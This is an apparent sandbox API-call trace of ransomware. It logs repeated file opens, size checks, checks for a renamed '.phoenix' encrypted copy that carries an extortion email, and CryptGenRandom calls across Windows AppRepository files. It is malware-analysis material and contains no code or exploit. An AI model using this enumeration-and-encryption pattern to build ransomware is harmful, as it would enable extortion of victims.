	[0229.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.818] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3407) returned 1
	[0229.818] CloseHandle (hObject=0x2f0) returned 1
	[0229.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.818] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.819] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1815) returned 1
	[0229.819] CloseHandle (hObject=0x2f0) returned 1
	[0229.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.819] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.819] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.819] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.819] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=841) returned 1
	[0229.819] CloseHandle (hObject=0x2f0) returned 1
	[0229.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.820] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=841) returned 1
	[0229.820] CloseHandle (hObject=0x2f0) returned 1
	[0229.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.820] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4084) returned 1
	[0229.820] CloseHandle (hObject=0x2f0) returned 1
	[0229.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.821] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16535) returned 1
	[0229.821] CloseHandle (hObject=0x2f0) returned 1
	[0229.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.822] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16493) returned 1
	[0229.822] CloseHandle (hObject=0x2f0) returned 1
	[0229.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.822] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.822] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=927) returned 1
	[0229.822] CloseHandle (hObject=0x2f0) returned 1
	[0229.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.822] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.823] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16493) returned 1
	[0229.823] CloseHandle (hObject=0x2f0) returned 1
	[0229.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.823] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.823] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5559) returned 1
	[0229.823] CloseHandle (hObject=0x2f0) returned 1
	[0229.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.824] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2278) returned 1
	[0229.824] CloseHandle (hObject=0x2f0) returned 1
	[0229.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.824] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=921) returned 1
	[0229.824] CloseHandle (hObject=0x2f0) returned 1
	[0229.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.825] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.825] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16805) returned 1
	[0229.825] CloseHandle (hObject=0x2f0) returned 1
	[0229.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.825] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
